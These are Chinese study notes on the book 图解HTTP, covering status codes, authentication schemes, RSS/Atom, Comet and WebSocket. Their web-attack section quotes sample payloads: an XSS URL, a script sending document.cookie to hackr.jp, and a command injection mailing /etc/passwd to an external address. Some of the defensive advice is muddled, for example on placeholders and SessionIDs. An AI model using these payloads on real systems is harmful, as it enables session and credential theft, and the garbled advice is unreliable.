  • 505 不支持 HTTP 版本,服务器不支持或拒绝支持 HTTP 协议,表示服务器无法处理或者不愿意处理。

  • 506  Variant Also Negotiates:服务器有一个内部配置错误,选择变体资源配置为主机参与透明内容协商,表明当前服务器不是适当的透明协商节点,无法处理。

  • 507 存储空间不足:当前服务器无法处理资源请求。可以认为是一种临时情况。

  • 508 检测到环路:服务器终止了操作,因为它在处理具有“深度:无穷大”的请求时遇到了无限循环。 此状态表示整个操作失败。

  • 510 未扩展:请求中未满足访问资源的策略。服务器应发回客户端发出扩展请求所需的所有信息。

4.2 选择合适的状态码定义

下面根据状态码介绍,了解如何为方法设置合适的状态码定义。实际上项目中接口更多使用一套自定义的规则去响应,而不是用 HTTP 自身定义的一些 Code。


这部分内容同样只记录了常见请求的,其他请求使用概率通常比较小。


GET/HEAD/POST


最常见的状态定义:


  • 201 Created:服务器确认创建的资源。 

  • 206 Partial Content:服务器仅发送资源的一部分。

  • 303 查看其他:此代码告诉客户端服务器不是将它们重定向到请求的资源,而是重定向到另一个页面。

  • 304 Not Modified:请求的资源自上次传输后没有改变。如果使用强缓存校验器,则响应不能包含实体标头,如果 304 响应没用指示条件情况下则进行重复请求,如果 304 响应包含缓存条目,则同样需要按照缓存条目更新到本地。

  • 416  请求的范围不满足。请求的 Range 标头字段中没有一个范围与所选资源的当前范围重叠,或者由于无效范围或对小范围或重叠范围的请求过多而拒绝了请求的范围集。 注意:由于服务器可以自由地忽略 Range,因此许多实现将简单地以 200 OK 响应中的整个选定表示形式进行响应。


案例:


HTTP/1.1 416 Range Not Satisfiable


Date: Fri, 20 Jan 2012 15:41:54 GMT


Content-Range: bytes */47022

#tjhttp 六、《图解 HTTP》- 用户身份认证

知识点

  1. 身份认证的几种常见方式

  2. BASIC 认证(基本认证)

  3. DIGEST 认证(摘要认证)

  4. SSL 客户端认证

  5. FormBase 认证(表单认证)

  6. 重点介绍 SSL 认证细节,其他认证方式可以不看或者跳过。

  7. Keberos 认证和 NTLM 认证,Keberos 认证是大数据身份认证的事实标准,大数据相关领域工作者有必要关注。

6.1 概览

常见的用户身份认证方式:


  1. 密码

  2. 动态令牌

  3. 数字证书

  4. 生物人证

  5. IC 卡


在 HTTP1.1 中通常存在下面几种认证方式:


  • BASIC 认证(基本认证)

  • DIGEST 认证(摘要认证)

  • SSL 客户端认证

  • FormBase 认证(表单认证)

6.2 SSL 认证

由于 SSL 认证是我们日常开发基础最多的的,所以首先来理解一下。


SSL 是同时使用对称加密和非对称加密的方式,在链接的过程中使用非对称加密,而在连接之后使用对称加密,类似在两边先通过身份牌认识双方,然后用特定的通行证完成双方的通信。


安全套接字层 (SSL) 技术通过加密信息和提供鉴权,保护您的网站安全。一份 SSL 证书包括一个公共密钥和一个私用密钥。公共密钥用于加密信息,私用密钥用于解译加密的信息。浏览器指向一个安全域时,SSL 同步确认服务器和客户端,并创建一种加密方式和一个唯一的会话密钥。它们可以启动一个保证消息的隐私性和完整性的安全会话。

6.2.1 基本工作原理

对于 SSL 的认证方式,基本的流程如下(注意这里省略一步是客户端需要安装 SSL 证书):


  1. 客户端发送请求,服务端接收到认证资源,同时发送 Certificate Request 报文,同时要求客户端提供证书。

  2. 用户选择客户端证书通过 Client Certificate 报文的方式传给服务器。

  3. 服务器验证客户端证书拿到客户端的密钥信息,之后开始 HTTPS 对称加密通信。


当然书中提到的模糊的交互过程,下面是关于 SSL 两种认证方式的区别和细节:

6.2.2 单向认证

单向认证在整个 SSL 握手流程中仅仅单向验证了服务器的 SSL 证书。因此这个单向认证过程使客户端浏览器可以连接到正确的网站服务器,并且仅通过安全连接将所有数据传输到目标站点。


  1. 客户端发送 SSL 协议版本号,加密算法,随机数等信息。

  2. 服务端给客户端回传客户端所发送的这一类信息,同时返回服务端的证书,也就是公钥证书。

  3. 客户端校验服务端证书的合法性,合法正确通信,否则停止通信并且警告,具体内容如下:

  4. 证书是否过期。

  5. 发行服务器 CA 可靠性。

  6. 返回公钥是否正确解开并且和服务器的实际域名匹配。

  7. 服务器证书域名是否和服务器的实际域名匹配。

  8. 客户端发送自己支持的加密方案,提供服务器选择。

  9. 服务器选择提供的加密方案中加密程度最高的方案,告知客户端使用此加密方案加密。

  10. 服务器选好加密方案通过明文方式发给客户端。

  11. 客户端收到加密方案,使用方案生成随机码,以此作为对称加密的密钥,再利用服务端返回的公钥加密随机号码,加密后的随机码发给服务器。

  12. 服务端收到客户端的加密信息之后,用自己私钥解密并且对称加密密钥。服务端和客户端使用随机生成的密码进行对称加密,保证信息安全。


6.2.3 双向认证

主要的步骤和单向认证一致,这里仅仅介绍有差别的步骤,主要差别是在客户端发送加密方式之前,服务端会多一步索要客户端证书的步骤,然后在选择好加密方式之后不是通过明文的方式而是通过客户端给的公钥进行加密再进行返回。而其他步骤基本照旧,最终改动如下:


  1. 客户端发送自己支持的加密方案,提供服务器选择。在此之前插入两个步骤 =>


  • 服务端要求客户端发送客户端的证书,客户端会将自己的证书发送至服务端

  • 验证客户端证书,通过认证获得客户端公钥。


  1. 服务器选好加密方案通过明文方式发给客户端之后添加 => 加密方式通过之前获取的公钥进行加密(不使用明文),返回给客户端。

6.3 表单认证

表单认证也就是我们常说的账号密码登录。绝大多数的网站基本使用表单认证+SSL 认证结合的方式,基本能保证 99%的请求能建立安全链接,保证客户的信息不被窃取。但是因为表单认证没有规范和标准,质量也参差不齐,所以不是所有网站有表单认证就是安全的,但是有比没用强不少。

6.4 Cookie 和 Session 管理

CookieSession 作为 HTTP 无状态的一种用户信息暂存的补救机制,作用是让客户在登录某个网站之后可以保持一段时间或者很长一段时间不需要重新登录,或者说保存一些网站的账户密码登录的时候自动填充,总之是提升浏览器使用体验的东西。


CookieSession 通常是一起作用的,下面是客户登录中 CookieSession 作用的基本流程:


  1. 客户端通过表单发送信息服务器进行表单认证。

  2. 服务器认证发送 SessionID,把用户认证状态和 SessionID 绑定。


向客户端返回响应时,会在首部字段 Set-Cookie 内写入 Session ID(如 PHPSESSID=028a8c…)。


  1. 客户端接受 SessionId 作为 Cookie 保存本地,下次再次请求会带入 Cookie 并且随着 SessionId 一起发送,服务端基于 SessionId 识别用户和认证状态。


SessionID 应该保证其安全性和难以推测的特性,常见处理方式使用加盐对于密码进行二次的哈希处理,这种方式是使用比较多的方式,防止 XSS 攻击获取到密文之后解密获得账户密码。



为减轻跨站脚本攻击(XSS)造成的损失,建议事先在 Cookie 内加上 httponly 属性。

6.5 BASIC 认证和 DIGEST 认证

6.5.1 BASIC 认证

BASIC 认证(基本认证)是从 HTTP/1.0 就定义的认证方式。还有极少部分网站在使用,作为大概了解即可。


大致步骤如下:


  1. 需要 BASIC 认证时,服务器会随状态码 401 Authorization Required,返回带WWW-Authenticate首部字段的响应。

  2. 状态码 401 Authorization Required通知客户端需要 BASIC 认证。为了通过 BASIC 认证,需要把 ID 密码发给客户端,加密方法是串联用户 ID 和密码用连接符冒号链接,然后 Base64 加密。

  3. 服务器接收到包含首部字段 Authorization 请求,然后返回一条 Request-URI 响应。



可以看到整个过程最大的问题是 Base64 不加密,一旦获取到传输信息通过字典暴力破解基本两下就可以解开。


为了解决 Basic 认证问题,后续出现了 DIGEST 认证进行升级,HTTP/1.1 起就有了 DIGEST 认证,DIGEST 认证同样使用质询 / 响应的方式。


什么是质询呢?指的是一方发送认证请求之后需要利用服务器返回的质询码生成响应码,最后通过响应码认证。


6.5.2 DIGEST 认证

整个 DIGEST 认证的过程如下:


  1. 需要认证时,服务器会随状态码 401 Authorization Required,返回带WWW-Authenticate首部字段的响应,同时Authenticate 还会传送响应认证需要的临时质询码。

  2. 接收到 401 状态码的客户端,返回的响应中包含 DIGEST** 认证**必需的首部字段 Authorization 信息。

  3. 服务器接收到包含首部字段 Authorization 请求,然后返回一条 Request-URI 响应。


DIGEST 和 BASIC 认证看上去比较像,但是在安全性上比使用明文 Base64 多了一重认证,所以安全性要高上不少。但是因为认证方式十分不灵活所以使用的范围依然受限。


现如今的主流认证方式使用身份令牌+对称加密的方式,实际上和质询认证的方式类似,只不过整个流程和细节更加完善一点而已。


另外身份令牌一般用于接口对接,对于一般用户通常依然使用表单认证。

6.6 Keberos 认证和 NTLM 认证

Kerberos


是一种身份认证协议,被广泛运用在大数据生态中,甚至可以说是大数据身份认证的事实标准。本文将详细说明 Kerberos 原理。


题外话


Kerberos 指的是西方神话中的地狱三头犬。在古希腊神话中 Kerberos 含义:有着一只三头犬守护在地狱之门外,禁止任何人类闯入地狱之中。


6.6.1 Kerberos 的优势

  1. 密码无需进行网络传输。基于 Ticket 实现身份认证,保障密钥安全性。

  2. 双向认证。整个认证过程中,不仅需要客户端进行认证,待访问的服务也需要进行身份认证。

  3. 高性能。一旦 Client 获取到曾经访问过某个 Server 的 Ticket,该 Server 就能根据这个 Ticket 实现对 Client 的验证,而无须 KDC 的再次参与。


NTLM


NTLM 是NT LAN Manager的缩写,NTLM 是基于挑战/应答的身份验证协议,是 Windows NT 早期版本中的标准安全协议。

6.6.2 Kerberos 补充

个人粗略看了一下这个认证,看上去十分复杂并且流程繁琐,这里找了几篇博客作为储备,有需要之后再来学习,推荐阅读顺序是 213,其中第二篇整理的比较系统,第一篇虽然比较老但是是英文的加上给了很多图,适合学技术同时顺带提升英语阅读水平:


https://www.roguelynn.com/words/explain-like-im-5-kerberos/


https://blog.csdn.net/sky_jiangcheng/article/details/81070240


https://zhuanlan.zhihu.com/p/266491528

#tjhttp 五、《图解 HTTP》- RSS 和网络攻击

本节是关于 RSS 和常见网络攻击的讨论,RSS 似乎总是被认为“为什么还没有消失“的东西,但是个人通过了解和体验之后发现意外的挺好用的。


而关于网络攻击的部分有时候会成为面试的考点,了解基础的网络攻击手段和常见的防范方式还是有必要的。

知识点

  1. RSS 历史介绍,RSS 的存在意义和价值,个人认为很适合自主学习的人使用。

  2. WEB 攻击手段介绍,了解基础和常见的攻击手段,这些攻击手段离我们日常生活并不远。

  3. 关于瓶颈和未来发展是由于写书时效性产生的一些“过时”内容,可以跳过。

5.1 RSS

5.1.1 RSS 历史

下面大部分内容来自维基百科,由于多半是理论内容,不做过多解释。


RSS(简单信息聚合)和 Atom 都是针对新闻和博客日志信息文档格式的合称。


RSS(英文全称:RDF Site Summary 或 Really Simple Syndication)中文译作简易信息聚合,也称聚合内容,是一种消息来源格式规范,用以聚合多个网站更新的内容并自动通知网站订阅者。


使用 RSS 后,网站订阅者便无需再手动查看网站是否有新的内容,同时 RSS 可将多个网站更新的内容进行整合,以摘要的形式呈现,有助于订阅者快速获取重要信息,并选择性地点阅查看。


RSS 的历史版本更新如下:


  • RSS 0.9(RDF Site Summary):最初的 RSS 版本。1999 年 3 月由网 景通信公司自行开发用于其门户网站。基础构图创建在初期的 RDF 规格上。

  • RSS 0.91(Rich Site Summary):在 RSS0.9 的基础上扩展元素,于 1999 年 7 月开发完毕。非 RDF 规格,使用 XML 方式编写。

  • RSS 1.0(RDF Site Summary):RSS 规格正处于混乱状态。2000 年 12 月由 RSS-DEV 工作组再次采用 RSS0.9 中使用的 RDF 规格发布。

  • RSS2.0(Really Simple Syndication):非 RSS1.0 发展路线。增加支 持 RSS0.91 的兼容性,2000 年 12 月由 UserLand Software 公司开发完 成。


发展到现在 RSS 有几个不同的版本,分为两个主要分支(RDF 和 2.X)


RDF(或 RSS 1.X)分支包括以下版本:


  • RSS 0.90 是最初的 Netscape RSS 版本。此 RSS 称为 _RDF 站点摘要_,但基于 RDF 标准的早期工作草案,与最终的 RDF 建议不兼容。

  • RSS 1.0 是 RSS-DEV 工作组的开放格式,再次代表 _RDF 站点摘要_。RSS 1.0 是一种像 RSS 0.90 一样的 RDF 格式,但与它不完全兼容,因为 1.0 是基于最终的 RDF 1.0 推荐标准。

  • RSS 1.1 也是一种开放格式,旨在更新和替换 RSS 1.0。该规范是一个独立的草案,不受 RSS-Dev 工作组或任何其他组织的任何支持或认可。


RSS 2.X 分支(最初是 UserLand,现在是 Harvard)包括以下版本:


  • RSS 0.91 是 Netscape 发布的简化 RSS 版本,也是 Userland Software 的 Dave Winer 最初倡导的简化版本的版本号。Netscape 版本现在被称为_Rich Site Summary_;这不再是 RDF 格式,但相对易于使用。

  • RSS 0.92 到 0.94 是 RSS 0.91 格式的扩展,它们大多彼此兼容,并且与 Winer 版本的 RSS 0.91 兼容,但与 RSS 0.90 不兼容。

  • RSS 2.0.1 的内部版本号为 2.0。RSS 2.0.1 被宣布为“冻结”,但在发布后不久仍然更新,没有更改版本号。RSS 现在代表_真正简单的整合_。此版本中的主要更改是使用 XML 命名空间的显式扩展机制。

5.1.2 Atom

同样没怎么接触的东西,整理百科的内容如下。


Atom 是一对彼此相关的标准。Atom 供稿格式(Atom Syndication Format)是用于网站消息来源基于XML的文档格式;而 Atom 出版协定(Atom Publishing Protocol,简称 AtomPub 或 APP)是用于新增及修改网络资源,基于HTTP的协议


它借鉴了各种版本RSS的使用经验,被许多的聚合工具广泛使用在发布和使用上。Atom 供稿格式设计作为 RSS 的替代品;而 Atom 出版协定用来取代现有的多种发布方式(如 Blogger API 和 LiveJournal XML-RPC Client/Server Protocol)。Google提供的多种服务正在使用 Atom。Google Data API(GData)亦基于 Atom。


RSS 和Atom都得到广泛支持,并与所有主要的消费者提要阅读器兼容。RSS 由于早期订阅源读取器的支持而得到了更广泛的应用。


从技术上讲,Atom 有几个优点:限制较少的许可,IANA注册的MIME类型,XML 命名空间,URI支持,RELAX NG**支持。


Atom 具有以下两种标准。


Atom 供稿格式(Atom Syndication Format):为发布内容而制定的 网站消息来源格式,单讲 Atom 时,就是指此标准。


Atom 出版协定(Atom Publishing Protocol):为 Web 上内容的新增 或修改而制定的协议。


关于更多的内容,可以参考这两个网站:


The Atom Syndication Format:


https://www.rfc-editor.org/rfc/rfc4287.txt


Atom Syndication Format(IBM)


https://www.ibm.com/docs/en/cics-ts/5.3?topic=standards-atom-syndication-format

5.1.3 RSS 意义

RSS 多数情况下用于网络博客应用的订阅和自己的喜欢的网站信息同步更新获取,个人认为类似换种形式的微信公众号,不过最近这几年微信也在改变算法,推送也从以前的一股脑推送,到现在的根据用户的喜好推送。


RSS 放到现在还有意义么?为什么还有人在用呢?个人认为 RSS 订阅最大的意义是 过滤噪声,RSS 订阅的阅读需要依赖阅读器,关于软件使用这一部分的内容请查看“参考资料”。


RSS 有几个显著优点:


  1. 由被动获取信息到主动获取信息。

  2. 规避各互联网公司的算法。

  3. 屏蔽互联网的噪声。

  4. 返璞归真,并不是所有的“时代倒退”都是错的。


这几点基本也决定了很多平台不会喜欢这东西,因为挡着财路了。


RSS 当然有他的缺点,最大的缺点是 太过于小众了,所以它有那一天会消失都不奇怪,由于几乎没有利益可图,所以目前在竞争的反倒是做标准的几个势力,也是比较罕见的情况。


实际上,现在还有相当一部分人还在使用 RSS。

5.2 WEB 攻击

HTTP 为了实现其简单高效,在 HTTP1.X 中保持了无状态的特征,所以本身对于安全防护的能力几乎为 0,基本上年年都可以看到重大的网络攻击安全事故,因为根据墨菲定律这种事情总会发生。


攻击方式主要分为主动攻击和被动攻击。


被动攻击的方式主要是利用钓鱼网站或者链接引导用户点击,之后运行攻击代码获取用户电脑的个人信息等,主动攻击则是类似 DDos 的流量冲击。


多数情况下被动攻击较多,因为几乎没有啥人工成本,而主动攻击基本上是一些具备不小的流量价值的网站,经常会受到类似的攻击。


下面根据书中内容列巨额常见的 WEB 攻击手段。

5.2.1 XSS 攻击

首先是较为常见的是 XSS 攻击(跨站脚本攻击),主要通过非法的 HTML 标签或者 JS 脚本完成攻击,通过预先设置网站陷阱,用户在填写个人的敏感信息的时候就有可能中招。


http://example.jp/login?ID="> <script>var+f=document.getElementById("login");+f.action="h </script><span+s=" 对请求时对应的HTML源代码(摘录)
复制代码


除了获取登录信息,还有一种手段是通过 JS 脚本抓取 Cookie 的内容直接获取用户的个人信息,比如使用像是下面这样的代码:


var content = escape(document.cookie); document.write("<img src=http://hackr.jp/?"); document.write(content); document.write(">");
复制代码

5.2.2 SQL 注入

SQL 注入主要发生在编程开发人员对待 SQL 不严谨遗留漏洞,进而产生 SQL 注入攻击。


比如书中提到了利用类似这样的手段,通过在 SQL 参数中注入单引号方式,导致后续的 SQL 内容失效,来获取一些无法访问的信息。


解决的办法也比较简单,需要注意尽量谨慎或者避免使用占位符,而是使用特殊符号比如“?”的方式进行参数替换而不是直接嵌入 SQL。


SQL 明显也是利用了 SQL 语法的规则完成这一特殊字符的注入操作,当然更多情况下是网站编程人员不严谨导致的。


如果你认为现在这种事情发生的很少就大错特错了,国内依然存在大量的网站连最为基础的 SQL 注入问题都没有进行防范。

5.2.3 OS 攻击

OS 攻击不算少见,云服务器中这几年比较常见的挖矿脚本算是一种,这种跟随开源组件带来的病毒讨厌又恶心。


针对 OS 攻击具体案例可以看下面使用获取用户邮件的方式找出 OS 的漏洞,并且通过管道符等命令快速窃取邮箱账户和密码达成盗号的目的。


my $adr = $q->param('mailaddress');
open(MAIL, "| /usr/sbin/sendmail $adr");
print MAIL "From: info@example.com\n";
复制代码


攻击者将下面的值指定作为邮件地址。


; cat /etc/passwd | mail hack@example.jp
复制代码


程序接收该值,构成以下的命令组合。


| /usr/sbin/sendmail ; cat /etc/passwd | mail [hack@example.jp](mailto:hack@example.jp)
复制代码

5.2.4 DDos 攻击

非常直接并且粗暴野蛮的攻击方式,通过大规模流量击倒目标服务器,让目标服务器一直处于瘫痪状态无法访问。所以也叫做拒绝服务攻击服务停止攻击


DDos 的攻击方式主要是下面两种:


  • 集中访问资源过载,实际上是植入需要大量运算的无意义程序耗尽计算机资源。

  • 攻击系统漏洞致使服务停止。通常这种漏洞来源于开源代码的漏洞。比如臭名昭著的 FastJson 三天两头的爆出漏洞需要修复。


对于攻击者来说,DDos 成本很低,因为国外可以通过大量购买肉鸡服务器完成这一操作,但是对于一个在线客户访问的独立网站来说,要防护的方案实际上并不多,多数时候只能“烧钱”来解决问题,原因是无法分辨攻击来源。

5.2.5 目录遍历攻击

目录攻击是利用对于某些权限敏感的路径访问获取用户密码的行为,比如通过脚本尝试获取到/etc/passwd的相关信息。

5.2.6 跨站点请求伪造

也就是常说的 CSRF 攻击,同样是使用陷阱的方式诱导用户操作,在获取到用户信息之后通过用户的身份完成一些“越界”操作。

5.2.7 会话攻击

会话攻击,对于很多网站 Session 信息中存储了和用户登录的相关信息,通过各种手段推测或者获取用户 ID 信息,然后根据这些信息伪造用户身份完成登录操作。


上面这种攻击是会话劫持,通过设陷阱或者暴力方式获取信息,另一种是利用用户登录操作,使用相同的用户 ID 等待用户操作完成之后拿到当前的会话信息访问,有点类似悄咪咪更在别人身后进门不被发现,等进去只会守到主人离开再进去偷东西。


对于这样的信息防护,简单的处理可以在认证的时候加入 IP 校验规则,如果同一身份信息但是从不同的 IP 发出,则可以认为是一种会话内容窃取。

5.2.8 点击劫持

利用网络 iframe 和透明元素的特性,在原始页面上覆盖被点击按钮,这时候同样会把相关的信息带过去。

5.2.9 密码破解

密码破解的手段通常是穷举法字典攻击,穷举法通常利用用户喜欢把类似生日或者姓名有关的信息作为密码的情况,通过试错的方式进行强制破解,通过制定规则暴力破解,当然通过穷举破解的前提是秘钥的长度够小,另外还有一种是对于已加密到密文进行破解,同样使用查询字典的方式进行试错。


常见的加密破解方式为下面几种:


  • 通过穷举法·字典攻击进行类推:也就是所谓的通过散列函数结合穷举法和字典攻击手法,这种手法适用于使用通用加密函数加密的系统。

  • 彩虹表:彩虹表(Rainbow Table)是由明文密码及与之对应的散列值构成的一张数据库表,被叫做彩虹表是因为里面包含了各种加密函数加密的密文像是“彩虹”一样,目的是减少穷举和字典法的时间开销。彩虹表是一种比较有效的破解手段。


目前在 https://freerainbowtables.com/ 这个网站上公布的一张由大小写字母及数字全排列的 1~8 位字符串对应的 MD5 散列值构成的彩虹表


  • 拿到密钥:通过网路劫持等手段获取到用户公钥并且通过伪造密钥的方法请求目标服务器,最终实现欺骗服务器获取密文的破解手法。

  • 加密算法的漏洞:找算法的漏洞,对于目前主流的信息加密算法基本很难找到漏洞,所以算是成功率非常非常低的手段。


防止密码破解的方式是对于密码错误次数的校验以及短时间内频繁请求进行限制,对于已加密的数据,在原有到密码密文还会加入一个叫做“盐值”的内容。

5.2.10 后门程序

后门程序在发现漏洞的时候设置入口而不是直接攻击。通过后门程序在漏洞上捣鬼,可以实现在日常访问无感知问题的情况下完成信息窃取,由于十分难以发现,后门程序是危险系统很高的 WEB 攻击方式。


  • 开发阶段作为 Debug 调用的后门程序。

  • 开发者为了自身利益植入的后门程序。

  • 攻击者通过某种方法设置的后门程序。


这里简单说一下第二种在有不少的实际案例,比如简单粗暴的支付网站通过后门程序随机把收款码替换的案例。


还有一种是类似“薅羊毛”的后台程序,通过每一笔订单收取“0.00*N1”的“手续费”,这样的后台程序如果不是火眼金睛基本难以发现,同时虽然数字很小,但是用户量很大的情况下,这种收入实际上是一笔巨款。


这些东西都是高压线,千万不要尝试哟!

5.3 瓶颈和“未来”发展

当前我们现在看这本书书中提到的未来都已经实现了,这些内容简单看看即可。


  • SPDY (HTTP2.0)

  • Ajax

  • WebSocket

  • Comet

  • HTTP 长连接

5.3.1 SPDY - The Chromium Projects

这部分内容在[[《图解 HTTP》- HTTP 协议历史发展(重点)]]中的 HTTP2.0 的历史进行了详细阐述,这里不再重复介绍。

5.3.2 Ajax

Ajax 的核心技术是名为 XMLHttpRequest 的 API,通过 JavaScript 脚本语言的调用就能和服务器进行 HTTP 通信,利用 Ajax 可以完成 WEB 页面局部更新的操作。

5.3.3 Comet

这个单词的原本含义叫做“彗星”,在 WebSocket 技术没有完全解决浏览器兼容问题之前,“服务器推”(Comet 技术)存在广泛的应用需求,需求推动技术的发展,Comet 技术在 Web 端即时通讯的方案里几乎不可或缺。


在此之前的技术:


Comet 之前还有一种更早的由服务器推送实现的反向内容推送,那就是被时代逐渐抛弃的Flash,但是使用Flash的前提是用户自愿安装。Flash可以很轻松的完成 JS 调用,并且提供XMLSocket类接口实现了反向推送,所以很长一段时间是服务端推送的唯一办法。


还有一种技术是早就死掉的 Java Applet,通过 java.net.Socket 或 java.net.DatagramSocket 或 java.net.MulticastSocket 完成套接字连接并且服务端推送,但是它有一个致命缺陷是 Applet 无法和 JavaScript 结合完成实时页面的动态刷新。


Comet 如何发展的?


实时 Comet 本身也是依赖着 Ajax 的普及扩展的,所以 Comet 被定义为:基于 HTTP 长连接、无须在浏览器端安装插件的“服务器推”技术为“Comet”。


Comet 实现方式?


Commet 的实现方式有两种,第一种是基于 AJAX 的长轮询(long-polling)方式,第二种是基于 Iframe 及 htmlfile 的流(streaming)方式


首先简述一下第一种方式,长轮询的方式需要不断和和服务端建立 HTTP 握手连接,每次连接会浪费大量不必要的网络开销。


第二种是使用 iframe 嵌套及 html file 的流(streaming)方式的方式,iframe 这个标签虽然早就被 HTML 不建议使用(并且废弃了),但是曾经是作为实现长链接的少数选择之一依然发挥重要作用。


原理非常简单,就是在 iframe 的 Src 标签当中嵌套获取数据的 URL,在 Iframe 中不返回页面而是返回客户端调用的 JS 代码, 客户端收到服务端返回的 JS 调动就会去执行代码。


但是显然 iframe 在很多浏览器中是不允许这种嵌套 JS 代码调用的,所以 Google 后续提出使用 ActiveX ,ActiveX 其实就是封装了一个基于 iframe 和 html file 的 JavaScript comet 对象


但是因为 IE 旧版本和 Google 和 FIreFox 互不相容,所以这个东西在过去曾经恶心至极(在 IE 的兼容上),需要前端通过一些模板代码优化和处理,比较麻烦。


而使用 Comet 的方式是一旦发现服务端出现更新就立马返回响应。使用延迟响应的方式模拟推送功能,收到请求 Comet 会先将响应置于挂起状态,当服务器端有内容更新时,再返回该响应。


相关开源组件

  • Pushlet:开源的 Comet 框架,使用了观察者模型

  • IComet: C++ 语言开发的支持百万并发连接的 comet/push 服务器


Comet 是过去解决服务端推送问题的过渡“插件”,虽然一定程度解决了问题,但是属于围魏救赵,本质上客户端发送请求这一点没有根本改变。


所以 Comet 不需要花费过多精力,更多细节可以参考"参考资料部分的内容"。

5.3.4 HTTP 长连接特性

除了 Comet 本身的诸多限制外,HTTP 长连接本身也有一些值得注意的特性。


  1. HTTP1.1 长连接存在限制,那就是客户端不应该与服务器端建立超过两个的 HTTP 连接,在 IE 体现为超过两个以上文件下载被阻止。

  2. 服务器端的性能和可扩展性,如果 Ajax 存在频繁请求, Comet 会长时间占用一个连接,在JAVA1.4中提供的Java.io 虽然可以实现连接空闲的时候把线程资源还给线程池,但是应对 Ajax 频繁请求依然会存在一些问题,使得空闲连接较少而影响性能。为此 Jetty 存在一些针对 Comet 的优化,在相关文章 “AJAX,Comet and Jetty”中进行过详细介绍(但是很遗憾目前这篇文章已经找不到了)。

  3. 控制信息和数据展示分离,HTTP 长连接关闭需要依赖客户端发送关闭请求,但是很多时候客户端会自行关闭网页,服务端需要把阻塞等待客户端请求转变为关闭。为了解决这个问题在 AJAX 的实现方式中会异步的发送一个关闭请求。基于 iframe 的方式则需要 2 个 Iframe,一个负责显示,另一个负责交换控制信息,控制请求能快速响应不至于被显示信息阻塞。

  4. 维持心跳,所谓的维持心跳是服务端需要一种检查客户端是否活动的检查机制,定期检查客户端是否关闭连接,如果关闭连接则会进入到阻塞读的环节,如果客户端已经关闭则会进入异常状态并且关闭连接释放资源。

  5. 注意如果是基于 AJAX 的长轮询方式需要采用计时器的方式,通过计时器计时当客户端很长时间没发送请求会认为客户端已经自行关闭并且同样释放资源,保证服务器资源有效利用。

  6. 最后如果自身出现问题,也需要通知客户端然后释放资源,防止漏洞溢出。

5.3.5 WebSocket

本来属于 HTML5 的标准一部分,结果在出现之后逐渐脱离 HTML5 成为一个独立的协议,现代主流浏览器基本全部兼容 WebSocket(除了 IE)。


WebSocket 通信协议在 2011 年 12 月 11 日,被 RFC 6455 - The WebSocket Protocol 定为标准。


WebSocket 解决 Comet 和 Ajax 的痛点问题是一旦 Web 服务器与客户端之间建立起 WebSocket 协议的通信连接,之后所有的通信都依靠这个专用协议进行,也就是说类似协议“升级”,由于不需要客户端主动获取数据,服务端在建立连接之后可以直接向客户端推送数据。


设计目的:最初目的是解决 Ajax 和 Conmet 的 XmlHttpRequest 附带所引发的缺陷。这两个组件的根本缺陷是只能由客户端完成请求发送


当然并不是说只使用客户端请求无法完成内容实时更新,有一种办法是使用使用轮询的方式获取信息但是轮询意味着不断的和服务器请求连接,还有作为过渡的兼容组件"彗星"。


关于 WebSocket 有下面的特点:


(1)建立在 TCP 协议之上,上下兼容。


(2)与 HTTP 协议有着良好的兼容性。默认端口也是 80 和 443,并且握手阶段采用 HTTP 协议,因此握手时不容易屏蔽,能借助 HTTP 进行代理。


(3)轻量化响应格式,高效。


(4)可以发送文本,也可以发送二进制数据。


(5)没有同源限制,客户端可以与任意服务器通信。


(6)协议标识符是ws(如果加密,则为wss),服务器网址就是 URL。


(7)减少通信量,因为一旦建立连接就会一直保持连接状态,所以 HTTP 首部的开销也会减少。


案例:


// Create WebSocket connection.const socket = new WebSocket('ws://localhost:8080');
// Connection openedsocket.addEventListener('open', function (event) { socket.send('Hello Server!');});
// Listen for messagessocket.addEventListener('message', function (event) { console.log('Message from server ', event.data);});
复制代码


基本的步骤如下:


  1. 握手请求。当建立 HTTP 连接之后,利用 HTTP 的 Upgrade 首部字段,告知服务器通信协议发生改变,可以看看做 HTTP 连接之后再次发起一次“升级协议”请求。


GET /chat HTTP/1.1Host: server.example.comUpgrade: websocketConnection: UpgradeSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==Origin: http://example.comSec-WebSocket-Protocol: chat, superchatSec-WebSocket-Version: 13
复制代码


备注:Sec-WebSocket-Key 字段内记录着握手过程中必不可少的键值。 Sec-WebSocket-Protocol 字段内记录使用的子协议。


  1. 因为最初的 HTTP 连接可能存在数据交互,所以对于之前的请求返回状态码 101 Switching Protocols 的响应。


如果不知道 101 是什么没啥关系,看看 [[《图解 HTTP》- 状态码]] 这一章会发现实际上就是个没什么影响的提示信息,下面的解释自行翻译,有利于加深印象。



书中的 WebSocket 的图画的不错,基本可以直观感受到 WebSocket 这个单独的协议是如何和 HTTP 配合的。



关于 WebSocket 有很多细节可以展开,碍于本书面向最基本初学者缘故,所以这篇读书笔记不做过多解释,这里也上网找了一些资料作为拓展,,具体内容请阅读“参考资料”部分。

#tjhttp N、《图解 HTTP》读书笔记 - 附录

介绍

虽然标题起名叫“附录”,实际上是个人搜集笔记而已。


附录部分是把之前各个章节参考的各种文章和资料汇总一遍,如果你也想阅读这本书,相信这些内容对你一定有帮助。


附一份 PDF,感兴趣可以自取备份。



链接:https://pan.baidu.com/s/1GFsK17K2T0fFLI7HUXiaNA?pwd=bcqa 提取码:bcqa


如果失效,可以通过公众号“懒时小窝”找到我,后台回复“图解 HTTP”获取相关参考资料

N0、IETF 是如何协商协议的

IETF 的地位这里就不啰嗦了,下面这篇文章可以了解到过去如何通过类似邮件沟通的方式,:


#109 (Clarify entity / representation / variant terminology) – Hypertext Transfer Protocol Wiki (ietf.org)


N1、HTTP 历史协议白皮书

如果要深入挖掘 HTTP,那么必然绕不开这些协议原文写了啥,虽然在文章已经给出超连接,但是为了方便查找,这里还是留了一份。



这些内容的了解来源于这一篇博客:【RFC】HTTP/1.1 系列(7230 - 7235)


注意 HTTP1.1 有些资料还在讨论 RFC2616,实际上早就已经被废弃了。

N2、HTML1.0

Hypertext Markup Language (HTML)


A Representation of Textual Information and MetaInformation for Retrieval and Interchange


http://www.w3.org/MarkUp/draft-ietf-iiir-html-01.txt

N3、NCSA Mosaic bounce page

1993 年秋天,Mosaic 的 Windows 版和 Macintosh 版面世。使用 CGI 技 术的 NCSA Web 服务器、NCSA HTTPd 1.0 也差不多是在这个时期出 现的。http://archive.ncsa.illinois.edu/mosaic.html


